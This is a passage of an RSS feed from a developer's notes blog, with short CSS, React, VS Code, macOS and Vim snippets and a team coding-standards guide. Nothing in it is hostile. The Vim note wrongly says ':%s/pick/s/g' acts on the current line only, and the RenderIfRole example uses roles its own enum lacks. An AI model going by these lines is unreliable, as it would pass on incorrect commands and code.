  &amp;amp;:focus-visible {
    outline: 2px solid rebeccapurple;
  }
  @supports not selector(:focus-visible) {
    &amp;amp;:focus {
      outline: 2px solid rebeccapurple;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;{
  &apos;&amp;amp;:focus-visible&apos; {
    outline: &apos;2px solid rebeccapurple&apos;;
  },
  &apos;@supports not selector(:focus-visible)&apos; {
    &apos;&amp;amp;:focus&apos; {
      outline: &apos;2px solid rebeccapurple&apos;;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Fluid typography</title><link>https://zander.wtf/notes/fluid-typography/</link><guid isPermaLink="true">https://zander.wtf/notes/fluid-typography/</guid><description>Calculate your own: https://websemantics.uk/tools/responsive-font-calculator/ Or use this if you only need to support Safari (11.1+) and Chrome (79+) Or…</description><pubDate>Wed, 01 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;html {
  font-size: 16px;
}
@media screen and (min-width: 320px) {
  html {
    font-size: calc(16px + 6 * ((100vw - 320px) / 680));
  }
}

@media screen and (min-width: 1000px) {
  html {
    font-size: 22px;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Calculate your own: https://websemantics.uk/tools/responsive-font-calculator/&lt;/p&gt;
&lt;p&gt;Or use this if you only need to support Safari (11.1+) and Chrome (79+)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;html {
  font-size: min(max(16px, 4vw), 22px);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or even this if you only support Chrome (79+)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;body {
  font-size: clamp(16px, 4vw, 22px);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Source: https://css-tricks.com/simplified-fluid-typography/&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://utopia.fyi&quot;&gt;Utopia&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Here&apos;s an example from Utopia.fyi for fluid typography&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* @link https://utopia.fyi/type/calculator?c=320,17,1.2,1240,20,1.25,10,3,&amp;amp;s=0.75|0.5|0.25,1.5|2|3|4|6,s-l&amp;amp;g=s,l,xl,12 */
:root {
  --step--3: clamp(0.62rem, calc(0.61rem + 0.04vw), 0.64rem);
  --step--2: clamp(0.74rem, calc(0.72rem + 0.11vw), 0.8rem);
  --step--1: clamp(0.89rem, calc(0.85rem + 0.2vw), 1rem);
  --step-0: clamp(1.06rem, calc(1rem + 0.33vw), 1.25rem);
  --step-1: clamp(1.28rem, calc(1.18rem + 0.5vw), 1.56rem);
  --step-2: clamp(1.53rem, calc(1.38rem + 0.74vw), 1.95rem);
  --step-3: clamp(1.84rem, calc(1.63rem + 1.05vw), 2.44rem);
  --step-4: clamp(2.2rem, calc(1.91rem + 1.48vw), 3.05rem);
  --step-5: clamp(2.64rem, calc(2.24rem + 2.04vw), 3.82rem);
  --step-6: clamp(3.17rem, calc(2.62rem + 2.78vw), 4.77rem);
  --step-7: clamp(3.81rem, calc(3.06rem + 3.75vw), 5.96rem);
  --step-8: clamp(4.57rem, calc(3.57rem + 5.01vw), 7.45rem);
  --step-9: clamp(5.48rem, calc(4.15rem + 6.66vw), 9.31rem);
  --step-10: clamp(6.58rem, calc(4.82rem + 8.8vw), 11.64rem);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><category>typography</category><author>Zander Martineau</author></item><item><title>Fastest Google Fonts</title><link>https://zander.wtf/notes/google-fonts/</link><guid isPermaLink="true">https://zander.wtf/notes/google-fonts/</guid><pubDate>Wed, 01 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;preconnect&quot; href=&quot;https://fonts.gstatic.com&quot; crossorigin /&amp;gt;

&amp;lt;link
  rel=&quot;preload&quot;
  as=&quot;style&quot;
  href=&quot;https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,400;0,700;1,400;1,700&amp;amp;display=swap&quot;
/&amp;gt;

&amp;lt;link
  rel=&quot;stylesheet&quot;
  href=&quot;https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,400;0,700;1,400;1,700&amp;amp;display=swap&quot;
  media=&quot;print&quot;
  onload=&quot;this.media=&apos;all&apos;&quot;
/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>html</category><category>css</category><author>Zander Martineau</author></item><item><title>VS Code Snippets</title><link>https://zander.wtf/notes/vs-code-snippets/</link><guid isPermaLink="true">https://zander.wtf/notes/vs-code-snippets/</guid><description>These snippets make use of the EasySnippet extension. typescriptreact A simple component scaffold Conditional rendering using a ternary operator More info…</description><pubDate>Wed, 01 Feb 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;These snippets make use of the &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=inu1255.easy-snippet&quot;&gt;EasySnippet extension&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;typescriptreact&lt;/h2&gt;
&lt;h3&gt;A simple component scaffold&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// @prefix component-react
// @description Basic React component scaffold

import { ReactNode, ComponentPropsWithoutRef } from &apos;react&apos;
import { clsx } from &apos;clsx&apos;
import &apos;$2.styles.css&apos;

interface $2Props extends  ComponentPropsWithoutRef&amp;lt;&apos;$1&apos;&amp;gt; {
  children?: ReactNode
}

export const ${2:Button} = ({ className, children, ...rest }: $2Props) =&amp;gt; {
  const ${2/(.*)/${1:/downcase}/}Class = clsx(className, &apos;${2/(.*)/${1:/downcase}/}&apos;)

  return (
    &amp;lt;${1:div} className={${2/(.*)/${1:/downcase}/}Class} {...rest}&amp;gt;
      {children}$0
    &amp;lt;/$1&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Conditional rendering using a ternary operator&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// @prefix better JSX Conditional
// @description {x ? ( ... ) : null}

{
  $1 ? $0 : null
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://kentcdodds.com/blog/use-ternaries-rather-than-and-and-in-jsx&quot;&gt;More info&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;useState hook&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// @prefix useState
// @description useState hook

const [$1, set${1/(.*)/${1:/capitalize}/}}] = useState&amp;lt;$2&amp;gt;($0)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Debugger&lt;/h3&gt;
&lt;p&gt;Creates a &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; tag with the JSON stringified version of the variable.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// @prefix pre
// @description React debugger

&amp;lt;pre&amp;gt;{JSON.stringify(someData, null, 2)}&amp;lt;/pre&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>vscode</category><category>react</category><author>Zander Martineau</author></item><item><title>Coding standards</title><link>https://zander.wtf/notes/coding-standards/</link><guid isPermaLink="true">https://zander.wtf/notes/coding-standards/</guid><description>Naming Conventions The objective of this document is to help when naming things and make the codebase consistent and easier to read. Name Rules 🥳 Names…</description><pubDate>Mon, 23 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Naming Conventions&lt;/h2&gt;
&lt;p&gt;The objective of this document is to help when naming things and make the codebase consistent and easier to read.&lt;/p&gt;
&lt;h3&gt;Name Rules&lt;/h3&gt;
&lt;p&gt;🥳 Names should be always be &lt;strong&gt;Descriptive&lt;/strong&gt; &amp;amp; &lt;strong&gt;Succinct&lt;/strong&gt;. 🎉&lt;/p&gt;
&lt;p&gt;😑 Names should &lt;strong&gt;not&lt;/strong&gt; be &lt;em&gt;Obscure&lt;/em&gt; or &lt;em&gt;Abbreviated&lt;/em&gt; ❌&lt;/p&gt;
&lt;h3&gt;File Names&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Convention&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Index file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;index.(ts/js)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;index.ts&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;React component&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ComponentName.(tsx/ts/js/jsx)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Button.tsx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Test file&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ComponentName.test.(tsx/ts/js/jsx)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Button.test.tsx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TypeScript types&lt;/td&gt;
&lt;td&gt;&lt;code&gt;File.models.ts&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Button.models.ts&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Styles (CSS-in-JS)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ComponentName.styles.(ts/js)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Button.styles.ts&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Storybook&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ComponentName.stories.(tsx/ts/js/jsx/mdx)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Button.stories.tsx&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;HTML&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Convention&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Data Attributes&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kebab-case&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;data-testid=&quot;button-element&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;path&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kebab-case&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;www.fairfx.com/this/is-a-path/&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;TypeScript&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Convention&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;interface&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PascalCase&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;interface DescriptiveInterfaceName&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;variables&lt;/td&gt;
&lt;td&gt;&lt;code&gt;camelCase&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;const descriptiveVariableName&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;function&lt;/td&gt;
&lt;td&gt;&lt;code&gt;camelCase&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;descriptiveFunctionName(){ ... }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;class&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PascalCase&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;class DescriptiveClassName { ... }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;type&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PascalCase&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;type DescriptiveTypeName&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;enums&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PascalCase&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;enum DescriptiveEnumName { CONSTANT_A, CONSTANT_B, CONSTANT_C }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;constant&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CONSTANT_CASE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DESCRIPTIVE_CONSTANT_NAME&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;React&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Convention&lt;/th&gt;
&lt;th&gt;Example&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Component Props Interface&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PascalCaseProps&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ComponentNameProps&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component State Interface&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PascalCaseState&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ComponentNameState&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component Copy Interface&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PascalCaseCopy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ComponentNameCopy&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Function Component&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import React, { FunctionComponent } from &apos;react&apos;

const DescriptiveComponentName: FunctionComponent&amp;lt;IDescriptiveComponentNameProps&amp;gt; = (
  props
) =&amp;gt; {
  return ()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Class Component&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;import React, { Component } from &apos;react&apos;

class DescriptiveComponentName&amp;lt;
  IDescriptiveComponentNameProps,
  IDescriptiveComponentNameState
&amp;gt; extends Component {
  render () {
    return ()
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Code Structure&lt;/h2&gt;
&lt;p&gt;The objective of this document is to help when structuring your code, to make the codebase more consistent, reusable and easy to read.&lt;/p&gt;
&lt;p&gt;This is a guide on how to structure your code.&lt;/p&gt;
&lt;h2&gt;Linting and code styling 💅&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;❗️Code to be formatted using &lt;a href=&quot;https://prettier.io&quot;&gt;prettier&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;‼️ All code should follow the &lt;code&gt;TypeScript&lt;/code&gt; standard and always make use of &lt;code&gt;types&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;React&lt;/h3&gt;
&lt;h4&gt;Composability&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://reactjs.org/docs/composition-vs-inheritance.html&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Components should ideally be composable, this makes them more flexible and reusable.&lt;/p&gt;
&lt;h3&gt;General rules about writing new components 🚦&lt;/h3&gt;
&lt;p&gt;A standard practice is to avoid having too much functionality in one page with gigantic renders.
Each file should have 1 set of functionality.
Everything else should be broken into a new component and be included as a child.&lt;/p&gt;
&lt;h2&gt;Generic&lt;/h2&gt;
&lt;h3&gt;Imports&lt;/h3&gt;
&lt;p&gt;Avoid &lt;code&gt;* imports&lt;/code&gt;, it&apos;s best to explicitly define what you want to export.&lt;/p&gt;
&lt;h3&gt;Types&lt;/h3&gt;
&lt;p&gt;Avoid a type of &lt;code&gt;any&lt;/code&gt; it is normally &lt;em&gt;not&lt;/em&gt; allowed.&lt;/p&gt;
&lt;h3&gt;Spread Syntax&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Use nested spread syntax when appropriate. Code should be readable, don&apos;t use nested spread syntax if it becomes hard to read.&lt;/p&gt;
&lt;h4&gt;Preferable Example ✅&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;class MyComponent extends Component {
  public render() {
    const {
      myProp,
      nestedProps: { myNestedProp },
    } = this.props
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Also Good ✅&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;class MyComponent extends Component {
  public render() {
    const { myProp, nestedProps } = this.props
    const { myNestedProp } = nestedProps
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Ok, if it&apos;s only referenced once ✅&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;class MyComponent extends Component {
  public render() {
    return this.props.nestedProps.myNestedProp.myMoreNestedProp
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;File Structure rules 🚨👮&lt;/h2&gt;
&lt;h3&gt;Description ℹ️&lt;/h3&gt;
&lt;p&gt;These rules &lt;strong&gt;must&lt;/strong&gt; be followed by all team members in order to have a &lt;strong&gt;consistent&lt;/strong&gt; and &lt;strong&gt;well structured&lt;/strong&gt; codebase.&lt;/p&gt;
&lt;h4&gt;Pages&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;/src/client/pages
    /PageName
        index.ts
        PageName.tsx
        PageName.test.tsx
        PageName.schema.json
    /OtherPageName
        OtherPageName.tsx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Components should by default be placed in &lt;code&gt;/components&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;Components should be grouped into folders logically. If they are only used once and they are used within another component, they should be colocated with their parent component.&lt;/p&gt;
&lt;h4&gt;Example:&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;components/
├─ ComponentName/
│  ├─ __tests__/
│  │  ├─ ComponentNameView.spec.tsx
│  │  ├─ ComponentNameContainer.spec.tsx
│  ├─ ComponentName.operations.middleware.gql // Graphql queries
│  ├─ ComponentName.messages.ts // i18n content
│  ├─ ComponentName.models.ts // TS types
│  ├─ ComponentNameView.tsx // &quot;dumb&quot; React component
│  ├─ ComponentNameView.stories.tsx // Storybook stories
│  ├─ ComponentNameContainer.tsx // &quot;smart&quot; React component. fetches data etc
│  ├─ index.ts
│  ├─ README.md
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;👩🏻‍🏫 &lt;strong&gt;Storybook&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Components should be built and tested with a &lt;code&gt;ComponentName.stories.tsx&lt;/code&gt; and have a &lt;code&gt;README.md&lt;/code&gt; file included.&lt;/p&gt;
&lt;h4&gt;👩🏻‍🔬 &lt;strong&gt;Test&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Where possible &lt;code&gt;ComponentName.test.tsx&lt;/code&gt; other files like utils will need a &lt;code&gt;UtilName.test.ts&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;💁🏻‍♀️ &lt;strong&gt;Styled Component&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Separate styles from the main code, styles should live in &lt;code&gt;ComponentName.styles.ts&lt;/code&gt;.&lt;/p&gt;
&lt;h4&gt;👷🏻‍♀️ &lt;strong&gt;Models&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Separate interfaces and types from the main code, models should live in &lt;code&gt;ComponentName.models.ts&lt;/code&gt;&lt;/p&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>JS body class</title><link>https://zander.wtf/notes/js-body-class/</link><guid isPermaLink="true">https://zander.wtf/notes/js-body-class/</guid><description>Add to Add to</description><pubDate>Sat, 21 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;Add to &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;window.document.body.classList.add(&apos;some-class&apos;)
window.document.body.classList.replace(&apos;no-js&apos;, &apos;js&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Add to &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;window.document.documentElement.classList.replace(&apos;no-js&apos;, &apos;js&apos;)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Disable dark mode for specific Mac apps</title><link>https://zander.wtf/notes/mac-dark-mode/</link><guid isPermaLink="true">https://zander.wtf/notes/mac-dark-mode/</guid><description>First, get the bundle identifier for the app that you want to turn off dark mode. Then run If you wish to restore the app’s theme to its default…</description><pubDate>Sat, 21 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;First, get the bundle identifier for the app that you want to turn off dark mode.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;osascript -e &apos;id of app &quot;{app name}&quot;&apos;

# e.g.
osascript -e &apos;id of app &quot;Dash&quot;&apos; # com.kapeli.dashdoc
osascript -e &apos;id of app &quot;Chrome&quot;&apos; # com.google.Chrome
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then run&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;defaults write {package.name} NSRequiresAquaSystemAppearance -bool Yes

# e.g.
defaults write com.kapeli.dashdoc NSRequiresAquaSystemAppearance -bool Yes
defaults write com.google.Chrome NSRequiresAquaSystemAppearance -bool Yes
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you wish to restore the app’s theme to its default configuration then run the below command. Doing so will re-enable the dark mode for the particular app.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;defaults write {package.name} NSRequiresAquaSystemAppearance -bool no

# e.g.
defaults write com.kapeli.dashdoc NSRequiresAquaSystemAppearance -bool no
defaults write com.google.Chrome NSRequiresAquaSystemAppearance -bool no

# or
defaults delete com.google.Chrome NSRequiresAquaSystemAppearance
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, use the &lt;a href=&quot;https://nightowlapp.co/&quot;&gt;Nightowl&lt;/a&gt; app to have this control in an easier way&lt;/p&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>Make a directory if none exists</title><link>https://zander.wtf/notes/make-directory-if-none-exists/</link><guid isPermaLink="true">https://zander.wtf/notes/make-directory-if-none-exists/</guid><pubDate>Sat, 21 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;var mkdirp = require(&apos;mkdirp&apos;)

mkdirp(&apos;/tmp/some/path/foo&apos;, (err) =&amp;gt; {
  // path exists unless there was an error
})
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>node</category><category>cli</category><author>Zander Martineau</author></item><item><title>Mix blend mode</title><link>https://zander.wtf/notes/mix-blend-mode/</link><guid isPermaLink="true">https://zander.wtf/notes/mix-blend-mode/</guid><pubDate>Sat, 21 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;.invert-everything-behind {
  mix-blend-mode: exclusion;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/* Keyword values */
mix-blend-mode: normal;
mix-blend-mode: multiply;
mix-blend-mode: screen;
mix-blend-mode: overlay;
mix-blend-mode: darken;
mix-blend-mode: lighten;
mix-blend-mode: color-dodge;
mix-blend-mode: color-burn;
mix-blend-mode: hard-light;
mix-blend-mode: soft-light;
mix-blend-mode: difference;
mix-blend-mode: exclusion;
mix-blend-mode: hue;
mix-blend-mode: saturation;
mix-blend-mode: color;
mix-blend-mode: luminosity;

/* Global values */
mix-blend-mode: inherit;
mix-blend-mode: initial;
mix-blend-mode: revert;
mix-blend-mode: revert-layer;
mix-blend-mode: unset;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>RenderIfRole</title><link>https://zander.wtf/notes/render-if-role/</link><guid isPermaLink="true">https://zander.wtf/notes/render-if-role/</guid><description>This component is used to conditionally show content based on a user&apos;s role. Usage This link will only be shown if the current user&apos;s role matches…</description><pubDate>Sat, 21 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This component is used to conditionally show content based on a user&apos;s role.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { ReactNode } from &apos;react&apos;
import { useUserContext } from &apos;../../providers&apos;

export enum Roles {
  none = &apos;none&apos;,
  admin = &apos;admin&apos;,
  superadmin = &apos;superadmin&apos;,
  user = &apos;user&apos;,
  readonly = &apos;readonly&apos;,
}

export interface RenderIfRoleProps {
  roles: Roles[]
  children: ReactNode
}

export const RenderIfRole = ({
  roles,
  children,
}: RenderIfRoleProps): ReactNode | null =&amp;gt; {
  const { role } = useUserContext() // get user&apos;s current role, could also be passed as a prop
  const providedRolesMatchUserRole = role &amp;amp;&amp;amp; roles.includes(Roles[role])

  if (providedRolesMatchUserRole) {
    return children
  }
  return null
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Usage&lt;/h2&gt;
&lt;p&gt;This link will only be shown if the current user&apos;s role matches &lt;code&gt;Roles.admin&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;RenderIfRole roles={[Roles.admin]}&amp;gt;
  &amp;lt;Link to={INVITE_PAGE_PATH}&amp;gt;Invite&amp;lt;/Link&amp;gt;
&amp;lt;/RenderIfRole&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Multiple roles can be passed in to the &lt;code&gt;roles&lt;/code&gt; prop, like so:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;RenderIfRole roles={[Roles.client, Roles.trainee]}&amp;gt;Some content&amp;lt;/RenderIfRole&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>useToggle React Hook</title><link>https://zander.wtf/notes/usetoggle/</link><guid isPermaLink="true">https://zander.wtf/notes/usetoggle/</guid><description>Usage</description><pubDate>Sat, 21 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;import { Dispatch, DispatchWithoutAction } from &apos;react&apos;
import { useCallback, useState } from &apos;react&apos;

/**
 * @name useToggle
 * @description Toggle something
 */
export const useToggle = (
  initialState = false
): [boolean, DispatchWithoutAction, Dispatch&amp;lt;boolean&amp;gt;] =&amp;gt; {
  // Initialize the state
  const [state, setToggleState] = useState(initialState)

  // Define and memoize toggler function in case we pass down the comopnent,
  // This function change the boolean value to it&apos;s opposite value
  const toggle = useCallback(() =&amp;gt; setToggleState((state) =&amp;gt; !state), [])

  return [state, toggle, setToggleState]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Usage&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const [isToggled, toggle, setToggleState] = useToggle()

setToggleState(true)
setToggleState(false)
toggle()

if (isToggled) {
  // do something
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>react</category><author>Zander Martineau</author></item><item><title>VIM cheatsheet</title><link>https://zander.wtf/notes/vim-cheatsheet/</link><guid isPermaLink="true">https://zander.wtf/notes/vim-cheatsheet/</guid><description>Cheatsheets https://github.com/hackjutsu/vim-cheatsheet https://gist.github.com/azadkuh/5d223d46a8c269dadfe4 https://vimsheet.com/ Substitute or…</description><pubDate>Sat, 21 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Cheatsheets&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/hackjutsu/vim-cheatsheet&quot;&gt;https://github.com/hackjutsu/vim-cheatsheet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/azadkuh/5d223d46a8c269dadfe4&quot;&gt;https://gist.github.com/azadkuh/5d223d46a8c269dadfe4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vimsheet.com/&quot;&gt;https://vimsheet.com/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Substitute or Find/Replace&lt;/h2&gt;
&lt;p&gt;To find each occurrence of ‘pick’ in the current line only, and replace it with ‘s’, enter (first press Esc key and type):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:%s/pick/s/g
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To find and replace all occurrences of ‘pick’ with ‘s’, enter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:%s/pick/s/g
